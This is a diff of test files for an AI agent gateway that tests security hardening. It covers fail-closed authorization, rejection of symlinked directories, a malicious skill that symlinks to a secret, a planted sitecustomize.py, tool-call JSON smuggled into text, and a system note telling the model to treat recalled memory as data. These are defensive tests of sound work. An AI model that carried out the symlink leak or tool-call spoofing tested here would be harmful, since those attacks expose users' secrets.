+ adapter = _make_signal_adapter(monkeypatch)
+ adapter.gateway_runner = MagicMock()
+ adapter.gateway_runner._is_user_authorized.return_value = True
+ adapter.send_reaction = AsyncMock()
+ adapter.remove_reaction = AsyncMock()
+ event = self._event()
+
+ await adapter.on_processing_start(event)
+ await adapter.on_processing_complete(event, ProcessingOutcome.SUCCESS)
+
+ adapter.send_reaction.assert_any_await("+15550001111", "👀", "+15550001111", 1710000000000)
+ adapter.remove_reaction.assert_awaited_once_with("+15550001111", "+15550001111", 1710000000000)
+ adapter.send_reaction.assert_any_await("+15550001111", "✅", "+15550001111", 1710000000000)
+
+ @pytest.mark.asyncio
+ async def test_reaction_hooks_fail_closed_on_auth_error(self, monkeypatch):
+ """Reactions are suppressed when _is_user_authorized raises an exception."""
+ from gateway.platforms.base import ProcessingOutcome
+
+ monkeypatch.setenv("SIGNAL_ALLOWED_USERS", "*")
+ adapter = _make_signal_adapter(monkeypatch)
+ adapter.gateway_runner = MagicMock()
+ adapter.gateway_runner._is_user_authorized.side_effect = RuntimeError("auth backend unavailable")
+ adapter.send_reaction = AsyncMock()
+ adapter.remove_reaction = AsyncMock()
+ event = self._event()
+
+ await adapter.on_processing_start(event)
+ await adapter.on_processing_complete(event, ProcessingOutcome.SUCCESS)
+
+ adapter.send_reaction.assert_not_awaited()
+ adapter.remove_reaction.assert_not_awaited()
+
# ---------------------------------------------------------------------------
# Authorization in run.py
# ---------------------------------------------------------------------------
diff --git a/tests/gateway/test_telegram_channel_prompts.py b/tests/gateway/test_telegram_channel_prompts.py
new file mode 100644
index 000000000000..df1bd30a1dee
--- /dev/null
+++ b/tests/gateway/test_telegram_channel_prompts.py
@@ -0,0 +1,67 @@
+"""Tests for Telegram per-channel prompt resolution."""
+
+import sys
+from unittest.mock import MagicMock
+
+from gateway.config import PlatformConfig
+
+
+def _ensure_telegram_mock():
+ if "telegram" in sys.modules and hasattr(sys.modules["telegram"], "__file__"):
+ return
+ mod = MagicMock()
+ mod.ext.ContextTypes.DEFAULT_TYPE = type(None)
+ mod.constants.ParseMode.MARKDOWN_V2 = "MarkdownV2"
+ mod.constants.ChatType.GROUP = "group"
+ mod.constants.ChatType.SUPERGROUP = "supergroup"
+ mod.constants.ChatType.CHANNEL = "channel"
+ mod.constants.ChatType.PRIVATE = "private"
+ for name in ("telegram", "telegram.ext", "telegram.constants", "telegram.request"):
+ sys.modules.setdefault(name, mod)
+
+
+_ensure_telegram_mock()
+
+from gateway.platforms.telegram import TelegramAdapter # noqa: E402
+
+
+def _adapter(channel_prompts: dict[str, str]) -> TelegramAdapter:
+ config = PlatformConfig(
+ enabled=True,
+ token="fake-token",
+ extra={"channel_prompts": channel_prompts},
+ )
+ return TelegramAdapter(config)
+
+
+def test_forum_topic_prompt_uses_chat_scoped_key():
+ adapter = _adapter(
+ {
+ "-1001111111111": "Group A prompt",
+ "-1001111111111:42": "Group A topic 42 prompt",
+ }
+ )
+
+ assert adapter._resolve_channel_prompt("-1001111111111", "42") == "Group A topic 42 prompt"
+
+
+def test_forum_topic_falls_back_to_own_parent_chat_prompt():
+ adapter = _adapter(
+ {
+ "-1002222222222": "Group B prompt",
+ "-1001111111111:42": "Group A topic 42 prompt",
+ }
+ )
+
+ assert adapter._resolve_channel_prompt("-1002222222222", "42") == "Group B prompt"
+
+
+def test_bare_forum_topic_id_does_not_cross_chat_boundaries():
+ adapter = _adapter(
+ {
+ "42": "Legacy unscoped topic prompt",
+ "-1002222222222": "Group B prompt",
+ }
+ )
+
+ assert adapter._resolve_channel_prompt("-1002222222222", "42") == "Group B prompt"
diff --git a/tests/gateway/test_title_command.py b/tests/gateway/test_title_command.py
index c09a2202f487..02154fc516c3 100644
--- a/tests/gateway/test_title_command.py
+++ b/tests/gateway/test_title_command.py
@@ -112,7 +112,10 @@ async def test_title_conflict(self, tmp_path):
runner = _make_runner(session_db=db)
event = _make_event(text="/title Taken Title")
result = await runner._handle_title_command(event)
- assert "already in use" in result
+ assert "Title could not be applied" in result
+ assert "Taken Title" not in result
+ assert "other_session" not in result
+ assert "already in use" not in result
assert "⚠️" in result
db.close()
@@ -278,8 +281,8 @@ async def test_reset_command_with_title(self):
assert "Custom Name" in str(result)
@pytest.mark.asyncio
- async def test_reset_command_duplicate_title_surfaces_warning(self):
- """/new with an already-in-use title returns a warning in the reply."""
+ async def test_reset_command_duplicate_title_uses_generic_warning(self):
+ """/new with an already-in-use title does not leak title metadata."""
from datetime import datetime
from gateway.run import GatewayRunner
@@ -335,8 +338,11 @@ async def test_reset_command_duplicate_title_surfaces_warning(self):
runner._session_db.set_session_title.assert_called_once()
reply = str(result)
- assert "already in use" in reply
+ assert "Title could not be applied" in reply
assert "session started untitled" in reply
+ assert "already in use" not in reply
+ assert "abc-123" not in reply
+ assert "Dup" not in reply
# Header must NOT claim the rejected title as the session name
assert "New session started: Dup" not in reply
diff --git a/tests/gateway/test_unauthorized_dm_behavior.py b/tests/gateway/test_unauthorized_dm_behavior.py
index bedd3a1f6978..7a4fac75981f 100644
--- a/tests/gateway/test_unauthorized_dm_behavior.py
+++ b/tests/gateway/test_unauthorized_dm_behavior.py
@@ -140,6 +140,53 @@ def test_star_wildcard_works_for_any_platform(monkeypatch):
assert runner._is_user_authorized(source) is True
+def test_discord_allow_bots_does_not_bypass_user_authorization(monkeypatch):
+ """DISCORD_ALLOW_BOTS should not bypass DISCORD_ALLOWED_USERS at gateway level."""
+ _clear_auth_env(monkeypatch)
+ monkeypatch.setenv("DISCORD_ALLOW_BOTS", "mentions")
+ monkeypatch.setenv("DISCORD_ALLOWED_USERS", "owner-only")
+
+ runner, _adapter = _make_runner(
+ Platform.DISCORD,
+ GatewayConfig(platforms={Platform.DISCORD: PlatformConfig(enabled=True, token="t")}),
+ )
+
+ source = SessionSource(
+ platform=Platform.DISCORD,
+ user_id="untrusted-bot",
+ chat_id="channel-1",
+ user_name="bot",
+ chat_type="dm",
+ is_bot=True,
+ )
+
+ assert runner._is_user_authorized(source) is False
+ runner.pairing_store.is_approved.assert_called_once_with("discord", "untrusted-bot")
+
+
+def test_discord_allow_bots_still_allows_explicitly_allowlisted_bot(monkeypatch):
+ """Bot IDs explicitly listed in DISCORD_ALLOWED_USERS remain authorized."""
+ _clear_auth_env(monkeypatch)
+ monkeypatch.setenv("DISCORD_ALLOW_BOTS", "all")
+ monkeypatch.setenv("DISCORD_ALLOWED_USERS", "trusted-bot")
+
+ runner, _adapter = _make_runner(
+ Platform.DISCORD,
+ GatewayConfig(platforms={Platform.DISCORD: PlatformConfig(enabled=True, token="t")}),
+ )
+
+ source = SessionSource(
+ platform=Platform.DISCORD,
+ user_id="trusted-bot",
+ chat_id="channel-1",
+ user_name="bot",
+ chat_type="dm",
+ is_bot=True,
+ )
+
+ assert runner._is_user_authorized(source) is True
+
+
def test_qq_group_allowlist_authorizes_group_chat_without_user_allowlist(monkeypatch):
_clear_auth_env(monkeypatch)
monkeypatch.setenv("QQ_GROUP_ALLOWED_USERS", "group-openid-1")
diff --git a/tests/hermes_cli/test_plugins.py b/tests/hermes_cli/test_plugins.py
index 99527b42f3f3..c70b6f06065b 100644
--- a/tests/hermes_cli/test_plugins.py
+++ b/tests/hermes_cli/test_plugins.py
@@ -83,6 +83,25 @@ def _make_plugin_dir(base: Path, name: str, *, register_body: str = "pass",
return plugin_dir
+def _make_entrypoint_package(site_packages: Path, name: str = "nix_ep_plugin") -> Path:
+ """Create a minimal entry-point package in a fake site-packages dir."""
+ site_packages.mkdir(parents=True, exist_ok=True)
+ package_dir = site_packages / name
+ package_dir.mkdir()
+ (package_dir / "__init__.py").write_text(
+ "def register(ctx):\n"
+ " ctx.manager_marker = 'loaded'\n"
+ )
+
+ dist_info = site_packages / f"{name}-0.1.0.dist-info"
+ dist_info.mkdir()
+ (dist_info / "METADATA").write_text(f"Name: {name}\nVersion: 0.1.0\n")
+ (dist_info / "entry_points.txt").write_text(
+ f"[{ENTRY_POINTS_GROUP}]\n{name} = {name}\n"
+ )
+ return site_packages
+
+
# ── TestPluginDiscovery ────────────────────────────────────────────────────
@@ -186,6 +205,49 @@ def fake_entry_points():
assert "ep_plugin" in mgr._plugins
+ def test_nix_entrypoint_paths_do_not_use_startup_pythonpath(
+ self, tmp_path, monkeypatch
+ ):
+ """Nix entry-point packages are discovered without adding them to sys.path."""
+ hermes_home = tmp_path / "hermes_test"
+ (hermes_home / "config.yaml").parent.mkdir(parents=True, exist_ok=True)
+ (hermes_home / "config.yaml").write_text(
+ yaml.safe_dump({"plugins": {"enabled": []}})
+ )
+ site_packages = _make_entrypoint_package(tmp_path / "site-packages")
+ (site_packages / "sitecustomize.py").write_text(
+ "raise RuntimeError('must not run during plugin discovery')\n"
+ )
+ monkeypatch.setenv("HERMES_HOME", str(hermes_home))
+ monkeypatch.setenv("HERMES_PLUGIN_PYTHONPATH", str(site_packages))
+ monkeypatch.delenv("PYTHONPATH", raising=False)
+
+ mgr = PluginManager()
+ mgr.discover_and_load()
+
+ assert "nix_ep_plugin" in mgr._plugins
+ assert not mgr._plugins["nix_ep_plugin"].enabled
+ assert str(site_packages) not in sys.path
+
+ def test_enabled_nix_entrypoint_path_is_importable(self, tmp_path, monkeypatch):
+ """An enabled Nix entry-point plugin is added to sys.path at load time."""
+ hermes_home = tmp_path / "hermes_test"
+ (hermes_home / "config.yaml").parent.mkdir(parents=True, exist_ok=True)
+ (hermes_home / "config.yaml").write_text(
+ yaml.safe_dump({"plugins": {"enabled": ["nix_ep_plugin"]}})
+ )
+ site_packages = _make_entrypoint_package(tmp_path / "site-packages")
+ monkeypatch.setenv("HERMES_HOME", str(hermes_home))
+ monkeypatch.setenv("HERMES_PLUGIN_PYTHONPATH", str(site_packages))
+ monkeypatch.delenv("PYTHONPATH", raising=False)
+
+ mgr = PluginManager()
+ mgr.discover_and_load()
+
+ assert "nix_ep_plugin" in mgr._plugins
+ assert mgr._plugins["nix_ep_plugin"].enabled
+ assert str(site_packages) in sys.path
+
# ── TestPluginLoading ──────────────────────────────────────────────────────
diff --git a/tests/hermes_cli/test_voice_wrapper.py b/tests/hermes_cli/test_voice_wrapper.py
index c744c08d5b80..c20af69b03c1 100644
--- a/tests/hermes_cli/test_voice_wrapper.py
+++ b/tests/hermes_cli/test_voice_wrapper.py
@@ -10,7 +10,9 @@
"""
import os
+import stat
import sys
+from pathlib import Path
import pytest
@@ -290,6 +292,43 @@ def test_empty_text_is_noop(self, text):
assert speak_text(text) is None
+class TestSpeakTextTempFiles:
+ def test_reserves_random_private_tts_path_under_hermes_home(self, tmp_path, monkeypatch):
+ import hermes_cli.voice as voice
+
+ monkeypatch.setenv("HERMES_HOME", str(tmp_path / "hermes-home"))
+
+ first = Path(voice._reserve_voice_tts_mp3_path())
+ second = Path(voice._reserve_voice_tts_mp3_path())
+
+ try:
+ assert first != second
+ assert first.parent == tmp_path / "hermes-home" / "cache" / "voice_tts"
+ assert first.name.startswith("tts_")
+ assert first.suffix == ".mp3"
+ assert "hermes_voice" not in str(first)
+ if os.name == "posix":
+ assert stat.S_IMODE(first.parent.stat().st_mode) == 0o700
+ assert stat.S_IMODE(first.stat().st_mode) == 0o600
+ finally:
+ first.unlink(missing_ok=True)
+ second.unlink(missing_ok=True)
+
+ def test_rejects_symlinked_tts_directory(self, tmp_path, monkeypatch):
+ import hermes_cli.voice as voice
+
+ hermes_home = tmp_path / "hermes-home"
+ cache_dir = hermes_home / "cache"
+ target_dir = tmp_path / "attacker-controlled"
+ cache_dir.mkdir(parents=True)
+ target_dir.mkdir()
+ (cache_dir / "voice_tts").symlink_to(target_dir, target_is_directory=True)
+ monkeypatch.setenv("HERMES_HOME", str(hermes_home))
+
+ with pytest.raises(RuntimeError, match="symlinked voice TTS directory"):
+ voice._reserve_voice_tts_mp3_path()
+
+
class TestContinuousAPI:
"""Continuous (VAD) mode API — CLI-parity loop entry points."""
diff --git a/tests/hermes_cli/test_web_server.py b/tests/hermes_cli/test_web_server.py
index 427f64a752fb..13dbf756c54e 100644
--- a/tests/hermes_cli/test_web_server.py
+++ b/tests/hermes_cli/test_web_server.py
@@ -1892,7 +1892,14 @@ class TestPluginAPIAuth:
@pytest.fixture(autouse=True)
def _setup_test_client(self, monkeypatch, _isolate_hermes_home):
- """Create a TestClient without the session token header."""
+ """Create a TestClient without the session token header.
+
+ A minimal fake ``scan-status`` route is inserted directly into the app
+ before the SPA catch-all so ``test_plugin_route_allows_auth`` is fully
+ self-contained regardless of whether ``hermes-achievements`` is
+ installed in the checkout. The route list is restored after each test
+ to avoid polluting the global app state.
+ """
try:
from starlette.testclient import TestClient
except ImportError:
@@ -1901,13 +1908,48 @@ def _setup_test_client(self, monkeypatch, _isolate_hermes_home):
import hermes_state
from hermes_constants import get_hermes_home
from hermes_cli.web_server import app, _SESSION_HEADER_NAME, _SESSION_TOKEN
+ from fastapi import APIRouter
+ from fastapi.responses import JSONResponse
+ import hermes_cli.web_server as _ws
monkeypatch.setattr(hermes_state, "DEFAULT_DB_PATH", get_hermes_home() / "state.db")
+ # Build a minimal fake scan-status route so the test never depends on
+ # the real plugin being installed or enabled.
+ fake_router = APIRouter()
+
+ @fake_router.get("/scan-status")
+ async def _fake_scan_status():
+ return JSONResponse({"status": "idle"})
+
+ # Snapshot the current route list so we can restore it after the test,
+ # keeping global app state clean between tests.
+ _routes = _ws.app.router.routes
+ _routes_snapshot = list(_routes)
+
+ _ws.app.include_router(fake_router, prefix="/api/plugins/hermes-achievements")
+ # include_router appends new routes at the end, which places them after
+ # the SPA catch-all (/{full_path:path}). Move them before the
+ # catch-all so Starlette matches the explicit route first.
+ spa_idx = next(
+ (i for i, r in enumerate(_routes) if getattr(r, "path", "") == "/{full_path:path}"),
+ None,
+ )
+ if spa_idx is not None and spa_idx < len(_routes) - 1:
+ new_plugin_routes = _routes[spa_idx + 1:]
+ del _routes[spa_idx + 1:]
+ _routes[spa_idx:spa_idx] = new_plugin_routes
+
self.client = TestClient(app)
self.auth_client = TestClient(app)
self.auth_client.headers[_SESSION_HEADER_NAME] = _SESSION_TOKEN
+ yield
+
+ # Restore the original route list to avoid polluting global app state
+ # for subsequent tests.
+ _routes[:] = _routes_snapshot
+
def test_plugin_route_requires_auth(self):
"""Plugin API routes should return 401 without a valid session token."""
# Use a known plugin route (kanban board)
@@ -1921,12 +1963,18 @@ def test_plugin_route_allows_auth(self):
side-effect-free GET that reads in-process scan state with no DB or
external dependencies. With a valid token the handler should run
(200); without one the middleware should 401 before the handler.
+
+ The hermes-achievements plugin is opt-in (bundled plugins are not
+ grandfathered into ``plugins.enabled`` — see the v20→v21 migration
+ in ``hermes_cli/config.py``). A fake scan-status route is added
+ directly to the app so this test runs regardless of whether the
+ plugin is installed in the checkout.
"""
# Without auth: middleware blocks before reaching the handler.
resp = self.client.get("/api/plugins/hermes-achievements/scan-status")
assert resp.status_code == 401
- # With auth: handler runs.
+ # With auth: handler runs — route is explicitly mounted above.
resp = self.auth_client.get("/api/plugins/hermes-achievements/scan-status")
assert resp.status_code == 200
diff --git a/tests/honcho_plugin/test_cli.py b/tests/honcho_plugin/test_cli.py
index e234431641e9..1150da993302 100644
--- a/tests/honcho_plugin/test_cli.py
+++ b/tests/honcho_plugin/test_cli.py
@@ -153,4 +153,55 @@ def _boom(hcfg, client):
out = capsys.readouterr().out
assert "FAILED (Invalid API key)" in out
- assert "Connection... OK" not in out
\ No newline at end of file
+ assert "Connection... OK" not in out
+
+
+class TestCmdSetup:
+ def test_workspace_default_uses_active_host_key_for_new_profile(self, monkeypatch, tmp_path):
+ import plugins.memory.honcho.cli as honcho_cli
+
+ cfg = {}
+ prompts = []
+ cfg_path = tmp_path / "honcho.json"
+
+ monkeypatch.setattr(honcho_cli, "_read_config", lambda: cfg)
+ monkeypatch.setattr(honcho_cli, "_local_config_path", lambda: cfg_path)
+ monkeypatch.setattr(honcho_cli, "_config_path", lambda: cfg_path)
+ monkeypatch.setattr(honcho_cli, "_ensure_sdk_installed", lambda: True)
+ monkeypatch.setattr(honcho_cli, "_host_key", lambda: "hermes.coder")
+ monkeypatch.setattr(honcho_cli, "_write_config", lambda new_cfg: None)
+ monkeypatch.setattr("hermes_cli.config.load_config", lambda: {})
+ monkeypatch.setattr("hermes_cli.config.save_config", lambda _cfg: None)
+
+ class FakeConfig:
+ workspace_id = "hermes.coder"
+ peer_name = "user"
+ ai_peer = "hermes"
+ observation_mode = "directional"
+ write_frequency = "async"
+ recall_mode = "hybrid"
+ session_strategy = "per-session"
+
+ def resolve_session_name(self):
+ return "hermes"
+
+ monkeypatch.setattr(
+ "plugins.memory.honcho.client.HonchoClientConfig.from_global_config",
+ lambda host=None: FakeConfig(),
+ )
+ monkeypatch.setattr("plugins.memory.honcho.client.reset_honcho_client", lambda: None)
+ monkeypatch.setattr("plugins.memory.honcho.client.get_honcho_client", lambda _cfg: object())
+
+ def _prompt(label, default="", secret=False):
+ prompts.append((label, default))
+ if label == "Cloud or local?":
+ return "cloud"
+ if label == "Honcho API key (leave blank to keep current)":
+ return "test-key"
+ return default
+
+ monkeypatch.setattr(honcho_cli, "_prompt", _prompt)
+
+ honcho_cli.cmd_setup(SimpleNamespace())
+
+ assert ("Workspace ID", "hermes.coder") in prompts
diff --git a/tests/honcho_plugin/test_session.py b/tests/honcho_plugin/test_session.py
index 7b9a9056f63c..9eeadcbedbfd 100644
--- a/tests/honcho_plugin/test_session.py
+++ b/tests/honcho_plugin/test_session.py
@@ -228,6 +228,7 @@ def test_search_context_uses_assistant_perspective_with_target(self):
assistant_peer.context.assert_called_once_with(
target=session.user_peer_id,
search_query="neuralancer",
+ tokens=800,
)
def test_search_context_unified_mode_uses_user_self_context(self):
@@ -243,7 +244,7 @@ def test_search_context_unified_mode_uses_user_self_context(self):
result = mgr.search_context(session.key, "self")
assert "Unified self context" in result
- user_peer.context.assert_called_once_with(search_query="self")
+ user_peer.context.assert_called_once_with(search_query="self", tokens=800)
def test_search_context_accepts_explicit_ai_peer_id(self):
mgr, session = self._make_cached_manager()
@@ -260,6 +261,7 @@ def test_search_context_accepts_explicit_ai_peer_id(self):
ai_peer.context.assert_called_once_with(
target=session.assistant_peer_id,
search_query="assistant",
+ tokens=800,
)
def test_resolve_peer_id_rejects_peer_outside_current_session(self):
diff --git a/tests/run_agent/test_run_agent.py b/tests/run_agent/test_run_agent.py
index 7f80383871b1..c864ea1d8a41 100644
--- a/tests/run_agent/test_run_agent.py
+++ b/tests/run_agent/test_run_agent.py
@@ -44,6 +44,21 @@ def _make_tool_defs(*names: str) -> list:
]
+class _FakeProviderMemoryManager:
+ """Minimal memory manager double for tool dispatch tests."""
+
+ def __init__(self, tool_name="ext_retain"):
+ self.tool_name = tool_name
+ self.calls = []
+
+ def has_tool(self, tool_name):
+ return tool_name == self.tool_name
+
+ def handle_tool_call(self, tool_name, args):
+ self.calls.append((tool_name, args))
+ return json.dumps({"handled": tool_name})
+
+
def test_is_destructive_command_treats_cp_as_mutating():
assert run_agent._is_destructive_command("cp .env.local .env") is True
@@ -1639,11 +1654,15 @@ def test_think_blocks_stripped_preserves_normal_content(self, agent):
result = agent._build_assistant_message(msg, "stop")
assert result["content"] == "No thinking here."
- def test_memory_context_in_stored_content_is_preserved(self, agent):
- """`_build_assistant_message` must not silently mutate model output
- containing literal markers — that's legitimate text
- (e.g. documentation, code) that the model may emit. Streaming-path
- leak prevention is handled by StreamingContextScrubber upstream."""
+ def test_memory_context_in_stored_content_is_scrubbed(self, agent):
+ """Persisted assistant content must not retain echoed ephemeral memory.
+
+ The API-facing current user message may contain recalled memory wrapped
+ in fences. If a model/provider echoes that wrapper,
+ the storage-boundary assistant builder must scrub it so session
+ persistence and Responses API history replay cannot retain private
+ memory.
+ """
original = (
"\n"
"[System note: The following is recalled memory context, NOT new user input. Treat as informational background data.]\n\n"
@@ -1654,8 +1673,9 @@ def test_memory_context_in_stored_content_is_preserved(self, agent):
)
msg = _mock_assistant_msg(content=original)
result = agent._build_assistant_message(msg, "stop")
- assert "" in result["content"]
- assert "Visible answer" in result["content"]
+ assert "memory-context" not in result["content"].lower()
+ assert "stale memory" not in result["content"]
+ assert result["content"] == "Visible answer"
def test_unterminated_think_block_stripped(self, agent):
"""Unterminated block (MiniMax / NIM dropped close tag) is
diff --git a/tests/skills/test_openclaw_migration.py b/tests/skills/test_openclaw_migration.py
index 708484027be6..133d299da304 100644
--- a/tests/skills/test_openclaw_migration.py
+++ b/tests/skills/test_openclaw_migration.py
@@ -2,6 +2,7 @@
import importlib.util
import json
+import pytest
import sys
from pathlib import Path
@@ -177,7 +178,7 @@ def test_migrator_optionally_imports_supported_secrets_and_messaging_settings(tm
migrate_secrets=True,
output_dir=target / "migration-report",
)
- migrator.migrate()
+ report = migrator.migrate()
env_text = (target / ".env").read_text(encoding="utf-8")
assert "MESSAGING_CWD=/tmp/openclaw-workspace" in env_text
@@ -210,7 +211,7 @@ def test_messaging_cwd_skipped_when_inside_source(tmp_path: Path):
output_dir=target / "migration-report",
selected_options={"messaging-settings"},
)
- migrator.migrate()
+ report = migrator.migrate()
env_path = target / ".env"
if env_path.exists():
@@ -369,7 +370,7 @@ def test_source_candidate_prefers_standard_workspace_over_custom(tmp_path: Path)
output_dir=target / "migration-report",
selected_options={"soul"},
)
- migrator.migrate()
+ report = migrator.migrate()
# Standard workspace location should have been preferred
content = (target / "SOUL.md").read_text(encoding="utf-8")
@@ -692,6 +693,39 @@ def test_shared_skills_migrated(tmp_path: Path):
assert imported.exists()
+def test_shared_skills_skip_symlinked_files(tmp_path: Path):
+ """Shared skill import skips skills that contain symlinks."""
+ mod = load_module()
+ source = tmp_path / ".openclaw"
+ target = tmp_path / ".hermes"
+ target.mkdir()
+
+ skill_dir = source / "workspace" / ".agents" / "skills" / "evil-skill"
+ (skill_dir / "assets").mkdir(parents=True)
+ (skill_dir / "SKILL.md").write_text(
+ "---\nname: evil-skill\ndescription: shared\n---\n\nbody\n",
+ encoding="utf-8",
+ )
+ secret = tmp_path / "secret.txt"
+ secret.write_text("do-not-copy", encoding="utf-8")
+ try:
+ (skill_dir / "assets" / "copied_secret.txt").symlink_to(secret)
+ except (OSError, NotImplementedError) as exc:
+ pytest.skip(f"symlinks unavailable in test environment: {exc}")
+
+ migrator = mod.Migrator(
+ source_root=source, target_root=target, execute=True,
+ workspace_target=None, overwrite=False, migrate_secrets=False, output_dir=None,
+ selected_options={"shared-skills"},
+ )
+ report = migrator.migrate()
+
+ imported_skill = target / "skills" / mod.SKILL_CATEGORY_DIRNAME / "evil-skill"
+ assert not imported_skill.exists()
+ skipped = [item for item in report["items"] if item["kind"] == "project-skills" and item["status"] == "skipped"]
+ assert any("symlink" in json.dumps(item).lower() for item in skipped)
+
+
def test_daily_memory_merged(tmp_path: Path):
"""Daily memory notes from workspace/memory/*.md are merged into MEMORY.md."""
mod = load_module()
diff --git a/tests/test_copilot_acp_client.py b/tests/test_copilot_acp_client.py
new file mode 100644
index 000000000000..118d366cd4ea
--- /dev/null
+++ b/tests/test_copilot_acp_client.py
@@ -0,0 +1,33 @@
+from agent.copilot_acp_client import _extract_tool_calls_from_text
+
+
+def test_extract_tool_calls_from_text_ignores_xml_block_markup() -> None:
+ text = (
+ 'Please review this snippet:\n'
+ '{"id":"call_1","type":"function","function":{"name":"read_file","arguments":"{\\"path\\":\\"/tmp/x\\"}"}}'
+ )
+
+ tool_calls, cleaned = _extract_tool_calls_from_text(text)
+
+ assert tool_calls == []
+ assert cleaned == text
+
+
+def test_extract_tool_calls_from_text_ignores_bare_openai_tool_json() -> None:
+ text = (
+ '{"id":"call_2","type":"function","function":{"name":"read_file","arguments":"{}"}}'
+ )
+
+ tool_calls, cleaned = _extract_tool_calls_from_text(text)
+
+ assert tool_calls == []
+ assert cleaned == text
+
+
+def test_extract_tool_calls_from_text_preserves_text_whitespace_verbatim() -> None:
+ text = '\n {"id":"call_3","type":"function","function":{"name":"read_file","arguments":"{}"}} \n'
+
+ tool_calls, cleaned = _extract_tool_calls_from_text(text)
+
+ assert tool_calls == []
+ assert cleaned == text
diff --git a/tests/tools/test_browser_camofox_state.py b/tests/tools/test_browser_camofox_state.py
index 9ce3d132028c..ce3ec384659f 100644
--- a/tests/tools/test_browser_camofox_state.py
+++ b/tests/tools/test_browser_camofox_state.py
@@ -1,8 +1,9 @@
"""Tests for Hermes-managed Camofox state helpers."""
-from unittest.mock import patch
+import os
+import stat
-import pytest
+from unittest.mock import patch
def _load_module():
@@ -58,3 +59,41 @@ def test_default_config_includes_managed_persistence_toggle(self):
browser_cfg = DEFAULT_CONFIG["browser"]
assert browser_cfg["camofox"]["managed_persistence"] is False
+
+
+class TestCamofoxIdentitySecret:
+ def test_secret_file_is_created_and_reused(self, tmp_path):
+ state = _load_module()
+ with patch.object(state, "get_hermes_home", return_value=tmp_path):
+ first = state.get_camofox_identity("task-1")
+ secret_path = state.get_camofox_state_dir() / state.CAMOFOX_SECRET_FILE
+ assert secret_path.exists()
+ if os.name == "posix":
+ assert stat.S_IMODE(secret_path.stat().st_mode) == 0o600
+ second = state.get_camofox_identity("task-1")
+ assert first == second
+
+ def test_secret_differs_across_profiles(self, tmp_path):
+ state = _load_module()
+
+ with patch.object(state, "get_hermes_home", return_value=tmp_path / "a"):
+ a_first = state.get_camofox_identity("task-1")
+ a_secret_path = state.get_camofox_state_dir() / state.CAMOFOX_SECRET_FILE
+ assert a_secret_path.exists()
+ a_secret = a_secret_path.read_text()
+
+ with patch.object(state, "get_hermes_home", return_value=tmp_path / "b"):
+ b_first = state.get_camofox_identity("task-1")
+ b_secret_path = state.get_camofox_state_dir() / state.CAMOFOX_SECRET_FILE
+ assert b_secret_path.exists()
+ b_secret = b_secret_path.read_text()
+
+ assert a_secret != b_secret
+
+ with patch.object(state, "get_hermes_home", return_value=tmp_path / "a"):
+ a_second = state.get_camofox_identity("task-1")
+ with patch.object(state, "get_hermes_home", return_value=tmp_path / "b"):
+ b_second = state.get_camofox_identity("task-1")
+
+ assert a_first == a_second
+ assert b_first == b_second
diff --git a/tests/tools/test_browser_cloud_fallback.py b/tests/tools/test_browser_cloud_fallback.py
index e4f8afd39c92..dc6cfe06f47c 100644
--- a/tests/tools/test_browser_cloud_fallback.py
+++ b/tests/tools/test_browser_cloud_fallback.py
@@ -1,10 +1,5 @@
-"""Tests for cloud browser provider runtime fallback to local Chromium.
-
-Covers the fallback logic in _get_session_info() when a cloud provider
-is configured but fails at runtime (issue #10883).
-"""
-import logging
-from unittest.mock import Mock, patch
+"""Tests that cloud browser providers fail closed instead of local fallback."""
+from unittest.mock import Mock
import pytest
@@ -20,25 +15,25 @@ def _reset_session_state(monkeypatch):
monkeypatch.setattr(browser_tool, "_update_session_activity", lambda t: None)
-class TestCloudProviderRuntimeFallback:
- """Tests for _get_session_info cloud → local fallback."""
+class TestCloudProviderFailClosed:
+ """Tests for _get_session_info cloud session creation failures."""
- def test_cloud_failure_falls_back_to_local(self, monkeypatch):
- """When cloud provider.create_session raises, fall back to local."""
+ def test_cloud_failure_does_not_fall_back_to_local(self, monkeypatch):
+ """When provider.create_session raises, do not create a local browser."""
_reset_session_state(monkeypatch)
provider = Mock()
provider.create_session.side_effect = RuntimeError("401 Unauthorized")
+ create_local = Mock(wraps=browser_tool._create_local_session)
monkeypatch.setattr(browser_tool, "_get_cloud_provider", lambda: provider)
monkeypatch.setattr(browser_tool, "_get_cdp_override", lambda: None)
+ monkeypatch.setattr(browser_tool, "_create_local_session", create_local)
- session = browser_tool._get_session_info("task-1")
+ with pytest.raises(RuntimeError, match="refusing to fall back to local Chromium"):
+ browser_tool._get_session_info("task-1")
- assert session["fallback_from_cloud"] is True
- assert "401 Unauthorized" in session["fallback_reason"]
- assert session["fallback_provider"] == "Mock"
- assert session["features"]["local"] is True
- assert session["cdp_url"] is None
+ create_local.assert_not_called()
+ assert "task-1" not in browser_tool._active_sessions
def test_cloud_success_no_fallback(self, monkeypatch):
"""When cloud succeeds, no fallback markers are present."""
@@ -48,34 +43,20 @@ def test_cloud_success_no_fallback(self, monkeypatch):
provider.create_session.return_value = {
"session_name": "cloud-sess",
"bb_session_id": "bb_123",
- "cdp_url": None,
+ "cdp_url": "ws://cloud.example/devtools/browser/123",
"features": {"browser_use": True},
}
monkeypatch.setattr(browser_tool, "_get_cloud_provider", lambda: provider)
monkeypatch.setattr(browser_tool, "_get_cdp_override", lambda: None)
+ monkeypatch.setattr(browser_tool, "_ensure_cdp_supervisor", lambda task_id: None)
session = browser_tool._get_session_info("task-2")
assert session["session_name"] == "cloud-sess"
+ assert session["cdp_url"] == "ws://cloud.example/devtools/browser/123"
assert "fallback_from_cloud" not in session
assert "fallback_reason" not in session
- def test_cloud_and_local_both_fail(self, monkeypatch):
- """When both cloud and local fail, raise RuntimeError with both contexts."""
- _reset_session_state(monkeypatch)
-
- provider = Mock()
- provider.create_session.side_effect = RuntimeError("cloud boom")
- monkeypatch.setattr(browser_tool, "_get_cloud_provider", lambda: provider)
- monkeypatch.setattr(browser_tool, "_get_cdp_override", lambda: None)
- monkeypatch.setattr(
- browser_tool, "_create_local_session",
- Mock(side_effect=OSError("no chromium")),
- )
-
- with pytest.raises(RuntimeError, match="cloud boom.*local.*no chromium"):
- browser_tool._get_session_info("task-3")
-
def test_no_provider_uses_local_directly(self, monkeypatch):
"""When no cloud provider is configured, local mode is used with no fallback markers."""
_reset_session_state(monkeypatch)
@@ -94,33 +75,20 @@ def test_cdp_override_bypasses_provider(self, monkeypatch):
provider = Mock()
monkeypatch.setattr(browser_tool, "_get_cloud_provider", lambda: provider)
- monkeypatch.setattr(browser_tool, "_get_cdp_override", lambda: "ws://host:9222/devtools/browser/abc")
+ monkeypatch.setattr(
+ browser_tool,
+ "_get_cdp_override",
